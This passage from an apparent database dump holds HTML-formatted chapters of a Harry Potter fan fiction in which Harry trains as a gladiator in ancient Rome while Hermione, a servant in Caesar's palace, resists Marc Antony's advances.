eyes narrowed as he turned his back on Harry and walked away from them.</p>\n\n<p>It was strange seeing someone like Ron wanting to kill him. Even if this guy was older than Ron was.&nbsp; He couldn&#8217;t have been that old, but he remembered from primary school lessons that life was hard during this time in history.&nbsp; Marcelo very well could only be twenty one years old.&nbsp; Harry didn&#8217;t want to think about that right now, all he wanted was to find a way out of here, find Hermione and get far away from here.</p>\n\n<p>&#8220;How does one get out of here?&#8221;&nbsp; Harry asked while walking to the barred window, he gave the bars a tug; it wouldn&#8217;t even budge an inch.</p>\n\n<p>&#8220;Death is the only way out of here.&#8221; Enzo said, he sat down on the ground against the wall.</p>\n\n<p>&#8220;Not true Enzo, you can win your freedom.&nbsp; But that would take ages almost.&nbsp; Most of us don&#8217;t even live that long.&#8221; Gino replied.</p>\n\n<p>&#8220;No, that&#8217;s far too long.&#8221; Harry said.&nbsp; &#8220;I need to get out of here now.&#8221;&nbsp; He heard the harsh laughter coming from Marcelo.&nbsp; Harry turned his head wondering why he was being laughed at.</p>\n\n<p>&#8220;You think it&#8217;s that simple, if it were I would have been out of here long ago.&#8221; Marcelo scoffed.&nbsp; </p>\n\n<p>&#8220;I have to get out, there&#8217;s a girl who needs me. I must go to her and we need to get home.&#8221;</p>\n\n<p>&#8220;Good luck foolish boy, you&#8217;re in here now you might as well forget about her.&nbsp;&nbsp; You&#8217;ll die come fifth day.&#8221;</p>\n\n<p>Harry looked around the large dirty cell, if only he had his wand.&nbsp; He wondered what they did with them.&nbsp; Well those Roman&#8217;s better not have done anything to his and Hermione&#8217;s wands, or there would be hell to pay.&nbsp; Harry turned and looked out the barred window, he could see Caesar&#8217;s palace off in the distance.&nbsp; He hoped Hermione was all right, he feared he may never see her again.&nbsp; </p>\n\n<p>Hermione woke with a start as she sat up, her hand pressed against her chest.&nbsp; &#8220;Oh Harry.&#8221; She whispered to herself.&nbsp; She could feel his uneasiness; she worried so much for him.&nbsp; She was safe; it was him that was in trouble.&nbsp; Hermione tried to send reassuring feelings that she was all right, but the feelings were clouded with sadness and distress for him.&nbsp; She got to her feet and went to the window, she sat down on the bay window cushions look out into the now night time sky.&nbsp; She did not want to lose Harry this way,&nbsp;&nbsp; Hermione saw a star shoot across the sky, she closed her eyes making a wish.&nbsp; She hoped with all her heart that she and Harry would be together again, and safe from harm.&nbsp; </p>\n\n<p>She closed her eyes softly and whispered into the night. &#8220;Be safe Harry, be safe.&#8221;</p>\n\n<p>======</p>\n\n<p>&nbsp;Well that&#8217;s it for chapter 6, hope you enjoyed it.&nbsp; Now stay tuned for chapter 7 In The Ring.&nbsp; Remember to review, thanks Ryoko</p> '),
	(43, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Disclaimer: I don&#8217;t\nown anything in the HPverse.&nbsp; Darn oh well.&nbsp;\nHappy reading</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A/N:&nbsp; Sorry for the long, long, long, long, long,\nlong, long, long ,wait for this chapter.&nbsp; But I had the hugest, most\nbiggest writers block on the face of the Earth.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">So here&#8217;s the\nchapter you all had been waiting for.&nbsp; So\nEat, Read and be Merry ^_^</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Amulet of Torna</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">Chapter 7&#8212;In The Ring.</p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.25in" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry woke up to\na swift kick to his stomach; he couldn&#8217;t help the groan that followed as a\nlarge heavy lump fell on top of him.&nbsp;\n&#8220;Hey, get off me.&#8221; Harry moaned out in pain.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh sorry.&#8221; A boy replied as he\nstood.&nbsp; &#8220;I didn&#8217;t mean to trip on you, it\nwas an accident.&nbsp; I am a bit clumsy at\ntimes.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just try to\nwatch where you&#8217;re going all right.&#8221; Harry said irritably. He didn&#8217;t feel like\nbeing nice to anyone, he was too busy trying to figure a way out.&nbsp; Not to mention training everyday for the\nupcoming match, which was to take place this afternoon; he was sure he wouldn&#8217;t\nmake it through alive.&nbsp; He was so tired\nand broken from the extensive gladiator training that Harry wasn&#8217;t in the mood\nfor kindness. He noticed the boy reminded him a lot of Neville, &#8216;<i style="mso-bidi-font-style:normal">Great another Neville, that&#8217;s just perfect&#8217;</i>.&nbsp; He thought sarcastically to himself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Once again like\nat the beginning of the week, a hawk flew in through the bars of the cell and\nlanding on Harry&#8217;s knee, extending its talon where a scroll was neatly tied to\nits ankle.&nbsp; Last week it had brought him\nsome strawberries wrapped in a cloth handkerchief.&nbsp; He didn&#8217;t know where they came from but he\nreally enjoyed them.&nbsp; All he got in here\nwas stale bread and some bitter tasting soup.&nbsp;\nOf course he was used to that kind of treatment, so he didn&#8217;t complain\nat all, unlike the other men in this cell who complained about the food.&nbsp; <i style="mso-bidi-font-style:normal"></i></p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned his\nattention to the letter; he saw his name written in the neat cursive writing,\nwhich he knew to be Hermione&#8217;s on the rolled up scroll.&nbsp; He reached out and quickly untied the scroll\nfrom the hawk&#8217;s talon. The bird seemed to be waiting patiently for\nsomething.&nbsp; Harry shrugged and took the\nred satin ribbon from around the scroll and pulled the parchment open and he\nbegan to read silently to himself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8216;Harry,</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">I hoped you liked the strawberries I sent you, I hoped\nyou didn&#8217;t share them cause one of them had a\ntranslation bean in it.&nbsp; Just in\ncase.&nbsp; It&#8217;s better to have eaten it now\nin case the other one wore off early.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">I fear someone is watching me; I get this strange\nfeeling when I walk the halls. I turn around to see if I&#8217;m being followed and\nno one is there.&nbsp; Perhaps I&#8217;m just being\nparanoid.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Anyway, I sense that you are scared.&nbsp; I just want you to know that it is all right\nto be frightened; it doesn&#8217;t mean you are weak.&nbsp;\nYou are going to be fighting for your life so it&#8217;s understandable to\nfeel that way.&nbsp;&nbsp; Harry please be careful,\nif anything happened to you I don&#8217;t know what I would do.&nbsp; Just stay safe, and please Harry don&#8217;t be a hero.&nbsp; Just\nlive and come back to me.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">I love you.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:normal">Hermione.&#8217;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry removed the\nlose brick from the wall and put Hermione&#8217;s letter in with the other ones he\nhad received from her.&nbsp; They would be\nsafe there and no one would go prying into his business.&nbsp; He replaced the block just as Enzo came over\nto him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come on Harry I\nwant to show you a few moves.&#8221; Enzo offered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Nodding, Harry\nstood.&nbsp; &#8220;All right, let&#8217;s get started.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione carried\nthe empty bucket down to the gardens, toward the well.&nbsp; She stood by the stone well and started\nturning the crank pulling up another bucket of water; she was working up quite\na sweat.&nbsp; Hermione hoped that they would\nreturn home soon, she couldn&#8217;t stand anymore of living in the past.&nbsp; But she did find a new respect for women of\nhistory; they sure had to put up with a lot over the centuries.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey, you girl.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked\nup and saw Caesar heading in her direction.&nbsp;\nShe noticed he was holding a familiar piece of wood in his hand, her\neyes widened a bit.&nbsp; Her\nwand.&nbsp; What was he going to do\nwith it? Would he throw it down the well?&nbsp;\nShe hoped not.&nbsp; Hermione lost grip\nof the well crank as the bucket plummeted back down into the water creating a\nloud splash.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh bugger.&#8221;\nHermione cursed, and immediately started turning the crank again.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Caesar approached\nher, standing right next to her. &#8220;You must stop whatever you are doing and give\nme full attention and respect.&#8221;&nbsp; His\nvoice was trimmed with annoyance, he would not be ignored.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A long loud sigh\nescaped Hermione.&nbsp; &#8220;Oh forgive me\nplease.&#8221;&nbsp; She tried not to sound\nsarcastic, but she couldn&#8217;t help it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I will ignore\nthat tone of voice; I did not come here to talk pleasantries. My time is rarely\nmy own, I have important plans to go over.&nbsp;\nBut I need to talk to you about this.&#8221;&nbsp;\nHe held her wand up straight.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What about it?&#8221;\nHermione asked looking at her wand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Tell me what\nthis does.&#8221;&nbsp; Caesar&#8217;s eyes narrowed as he\nheld the piece of wood snugly in his hand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shrugged\n&#8220;It&#8217;s just a piece of wood.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Really?&nbsp; If it&#8217;s just a piece of wood then you won&#8217;t\nmind me throwing it down the well.&#8221;&nbsp; He\nstepped closer to the well, holding the wand over the opening.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;NO!&nbsp; Don&#8217;t do that, please.&#8221; She begged.&nbsp; Hermione knew her calm cover was blown yet\nshe didn&#8217;t care.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why?&#8221;&nbsp; He still held it over the well &#8220;Why is this\nso important to you?&#8221; His eyes held a child like curiosity.&nbsp; He saw her stalling; she wasn&#8217;t going to say\nanything.&nbsp; &#8220;Tell me now or I throw it\ndown.&#8221; Caesar opened a few of his fingers ready to drop it.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s a wand;\nit&#8217;s used to channel magic through the user.&nbsp;\nNow please don&#8217;t drop it.&nbsp; I\nreally need it.&#8221; Hermione&#8217;s immediately spoke up; her eyes were wide with\nworry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Magic huh?&#8221; He\nstarted laughing, &#8220;Come now, you don&#8217;t expect me to believe that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I told you the\ntruth; why else would I not want you to drop it down the well?&#8221;&nbsp; She was in disbelief at this man&#8217;s\nfoolishness.&nbsp; And they said Caesar was\nthe greatest conqueror in history.&nbsp; Yeah\nright, she would laugh that off if ever she heard that again in a Muggle\nhistory class.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Caesar regarded\nher coldly. &#8220;I&#8217;m not saying I believe you, but I just had to know why you and\nthat boy had these.&nbsp; They were brought to\nme and they were said to be some kind of weapon.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well they are a\nweapon in some ways, but we are taught not to use it that way.&nbsp; So please, can I have it back?&#8221; She opened\nher hand and reached for her wand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Caesar shook his\nhead, &#8220;No.&#8221; he held on to it tighter.&nbsp; &#8220;I\nthink I would like to study this a bit more.&nbsp;\nJust to make sure it&#8217;s not dangerous.&#8221;&nbsp;\nHe looked at her a moment. &#8220;You know, it&#8217;s really amazing that you look\nlike my lady.&nbsp; I mean sure she&#8217;s years\nolder than you, but its such a striking resemblance.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You know why I\nlook like her, I&#8217;m sorry if you don&#8217;t believe me.&nbsp; But that&#8217;s the truth.&#8221; Hermione sighed with\ndefeat when she saw that he was ignoring her words.&nbsp; She went back to turning the well crank, she\ndidn&#8217;t even hear Caesar turn and start talking to someone until she was spoken\nto.&nbsp; She turned around and found Marc\nAntony looking her over through narrowed eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Getting water\nfor her ladyship?&#8221; Antony asked coldly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s what it\nlooks like doesn&#8217;t it?&#8221; Hermione shook her head while continuing to turn the\ncrank; finally the bucket was visible just barely above the well opening.&nbsp; Hermione secured the crank and tipped the\nfull water bucket into her empty one.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I was just\nspeaking with Caesar, you are aware of the gladiator match this afternoon?&nbsp; Well I persuaded him to let you attend, of\ncourse you would be serving her ladyship.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I can hardly\nwait.&#8221; Hermione said rolling her eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Antony nodded a\nbit; he could still hear that rude tone in her voice.&nbsp; &#8220;I just thought you would be excited, after all that boy will be participating.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry?&#8221; Hermione\nalmost dropped her bucket of water.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Was that his\nname? I forget.&#8221; Antony smirked, &#8220;Anyone that goes around impersonating me\ndeserves to die.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione would\ntry to ignore him; all she knew was that she was going to be forced to watch\nHarry get killed.&nbsp; She could see that the\nlook of horror that would appear on her face would please her captors.&nbsp; Gods she hated them.&nbsp; If only she had her wand she could get away\nand not have to put up with this.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So what&#8217;s so\nspecial about this boy?&#8221; Antony spat cruelly, &#8220;For you to have such devotion to\nhim, even when he&#8217;s going to die.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because I love\nhim,&#8221; Her tone was hard and firm.&nbsp; &#8220;I&#8217;m\nsure even a person like you knows what its like to love someone.&#8221;&nbsp; Hermione watched as Antony sat on the edge of\nthe well; it was so very tempting to push him in there.&nbsp; She even moved forward a bit, hand\noutstretched, just one little push that&#8217;s all it would take.&nbsp; Her mind scolded her, &#8216;<i style="mso-bidi-font-style:\nnormal">How dare you even think that</i>,&#8217; she was no murderer. <i style="mso-bidi-font-style:normal">&#8216;Ah but come on, no one would know you did\nit.&nbsp; No I can&#8217;t, I&#8217;m not cruel.&nbsp; Well you could be.&nbsp; Stop it, I&#8217;m not gonna kill him.&#8217;</i>&nbsp; And that was her final thought; she stepped\nback and dropped her hand to her side.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Stupid conscience.&#8217;</i><i style="mso-bidi-font-style:normal"> </i>&nbsp;Hermione thought to herself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of course\nsomeone like me could love, as I&#8217;m sure you know whom I fancy.&nbsp; After all playing decoy for her ladyship is\nno easy task.&#8221; He tilted his head to the side a bit, noticing that her hair was\njust a tad lighter than Cleopatra&#8217;s; it looked silky and soft, not all bunched\nup and messy like his love&#8217;s hair.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How could you\neven do something like that?&#8221; Hermione looked at him with pure disgust as he\nstood up.&nbsp; &#8220;I mean sneaking around behind\nyour so called friend&#8217;s back.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All&#8217;s fair in\nlove and war.&#8221; Antony smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You people are\nunbelievable.&#8221; She practically screeched in absolute loathing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Antony found it\nhard not to laugh out loud at her, what a naive girl she was.&nbsp; Of course maybe she wasn&#8217;t as na&#239;ve as she\nlet on.&nbsp; No, there was something about\nher, something different, something he was not used to.&nbsp; It intrigued him also with the fact that she\ndid look almost exactly like Cleopatra, he still couldn&#8217;t get over that.&nbsp;&nbsp;&nbsp; He stepped up toward her, almost in her\npersonal space.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;As I was\napproaching I heard Caesar mention something about you looking pretty close to\nhis mistress.&nbsp; I think he is so\nright.&#8221;&nbsp; He lifted his hand, touching her\nhair lightly.&nbsp; &#8220;Although your hair is a\nlot softer than hers is.&#8221;&nbsp; Antony saw Hermione\nlooking at him, her brown eyes were warm and comforting, nothing like the cold\ncruel grey of Cleopatra&#8217;s.&nbsp;&nbsp; He watched\nas she lowered her gaze to the ground.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt her\npulse quicken while he was touching her hair gently, she was responding to his\nsoft touch.&nbsp; There was also a strange\nsensation going through her, one that wouldn&#8217;t be described as pleasant.&nbsp; She again lifted her eyes to his, his eyes\nwere empty, they held nothing that she could find serenity in, they were just&#8230; empty.&nbsp;\nNothing like the love and warmth Harry&#8217;s eyes held.&nbsp; This man was unfeeling and cold.&nbsp; It was almost frightening that someone who\ncould look almost exactly like Harry could be so different.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">His hand dropped\nto her bare shoulder and he saw her take in an almost uncomfortable breath; yet\nher feelings on the matter didn&#8217;t concern him.&nbsp;\nAntony&#8217;s fingertips traced along her shoulder, touching her neck, then her\ncollarbone, his fingers lingering there.&nbsp;\n&#8220;You have really smooth skin&#8230;&#8221; He leaned in closer to her ear &#8220;Young and\nfirm.&#8221; &nbsp;He saw her eyes narrow in bitter\nanger but it did not sway him, he continued on.&nbsp;\n&#8220;You know once your lover dies in the gladiator pit today, and since you\nand her ladyship are one in the same as you claim, I might just take you up as\nanother one of my mistresses.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The fire of rage\nburned hot in Hermione&#8217;s eyes. &#8220;How dare you!&#8221; she shouted, her hand rose to\nslap him hard, but Antony&#8217;s hand grabbed her wrist before her hand reached its destination.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t be a\nfool.&#8221; Antony still held onto her wrist, but now he was tracing his thumb against\nthe top of her hand. &#8220;You know he will die today and then you&#8217;ll be left with\nnothing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione tried to\npull her hand from his grasp but it was doing little good. &#8220;You don&#8217;t know\nHarry very well, he&#8217;ll live&#8230; He can survive even the worst of evil.&#8221;&nbsp; She still continued to pull her hand\naway.&nbsp; &#8220;And he will survive this, I know\nhe will.&#8221;&nbsp;&nbsp; Hermione&#8217;s voice was\nconfident and strong.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Antony released her\nhand, he was irritated. &#8220;You&#8217;re a stupid girl to believe that.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Even though he\nreleased her, she still did not back down.&nbsp;\nShe would not show weakness in front of him. &#8220;Well perhaps I am a stupid\ngirl, but I believe in Harry.&nbsp; He can do\nanything.&nbsp; And nothing you or anyone else\ncan say will make me think otherwise.&#8221; &nbsp;And with that she turned from him, picked up\nher bucket and swiftly walked away.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">It was really\ndisturbing to see someone who looked like Harry acting like a total jerk. She\nhad to remind herself that that wasn&#8217;t Harry. That Marc Antony may look like\nHarry, but he certainly was not him in any way except on the outside.&nbsp; Hermione sighed deeply, she didn&#8217;t know if\nshe could take any more of this.&nbsp;\nHermione carried the bucket into the palace, up to the bathroom where\nshe set it on the hot iron like stove to heat the water.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Took you long\nenough, what kept you?&#8221; Rosa said while cleaning the bathtub.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;A weasel in the garden.&#8221; Hermione\nreplied with half a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh is that\ncertain person bothering you again?&nbsp;\nAlthough I don&#8217;t know why you won&#8217;t tell us his name.&#8221; Meldina said\nwhile scrubbing the floor.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nshrugged, &#8220;Oh it&#8217;s not important who it is, just that someone who annoys me\ngreatly.&#8221;&nbsp; She started on washing the\nwindows.&nbsp; &#8220;It&#8217;s just he was more forward\nthis time, usually it&#8217;s just a quick, almost non existent touch.&#8221; She stared\nout the window a bit, thinking about earlier.&nbsp;\nHermione felt nauseous and repulsed.&nbsp;\nBut this was nothing, compared to what Harry is going through she\nwouldn&#8217;t complain about her troubles.&nbsp;&nbsp;\nShe hoped he was working hard on at least trying to learn to stay alive.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You have to lift\nit higher, or it&#8217;ll slice right into you.&#8221;&nbsp;\nEnzo said helping Harry to achieve a hard trick that would block his\nheart from getting punctured.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded,\n&#8220;This is a lot more difficult than how it looks, I notice you all seem to have\nno trouble.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;We&#8217;ve practiced\na long time; well we know how to defend ourselves now at least.&nbsp; I can&#8217;t even count how many times we were in\nthe ring fighting for our lives.&#8221; Enzo explained.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo started\nlaughing, while his training partner Frizi stared at him like he was insane. &#8220;I\ndon&#8217;t see why you keep helping him Enzo,&#8221; The red head then cleared his throat,\nall that laughing made him short of breath.&nbsp;\n&#8220;He&#8217;s never going to make it out there.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You just take\ncare of yourself Marcelo.&#8221; Enzo was very defensive as he glared right at\nMarcelo. &#8220;And by the way, he has made a lot of progress almost better than you,\nyou coward. He&#8217;s not afraid to go out there, but you&#8230; You wet yourself the\nfirst time we were sent out.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is that so?!&#8221;\nMarcelo feeling insulted threw down his wooden sword and started towards Enzo,\n&#8220;I am not a coward you jack ass!&#8221; He was going rearrange his face, but Frizi\nheld him back.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Don&#8217;t be stupid,\nsave it for the ring.&nbsp; We need this anger\nout there not in here.&#8221; Frizi did have his moments of brilliance, but it was\nrare.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Marcelo backed\noff spitting on the ground near Enzo&#8217;s feet. &#8220;Ah you&#8217;re not worth it,&#8221; He\nkicked his wooden sword hard against the wall and it shattered into small pieces.&nbsp; Marcelo walked away in anger towards the\nother side of the cell; he picked up another wooden weapon from off the table\nand began practicing on his own.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched him\na moment, noting that he was good, very good.&nbsp;\nAll his anger was being used toward his moves. &#8220;Hey Enzo, why is he so\nangry?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It has to do\nwith what happened and why he was sent down here to his death.&#8221; Enzo said\npracticing a couple more defence moves.&nbsp;\n&#8220;Well him and your look alike were really good friends at one time,\nuntil Marcelo caught him with Caesar&#8217;s mistress.&nbsp; Marcelo isn&#8217;t too fond of betrayal of any\nkind so he was going to go to Caesar and tell him what was going on.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why is that so\nimportant for someone to be sent to their death?&nbsp; People do that all the time.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&quot;Well\nCaesar\'s mistress is always looking for a better opportunity if it will help\nher in the long run.&nbsp; We all know the\nreason she is 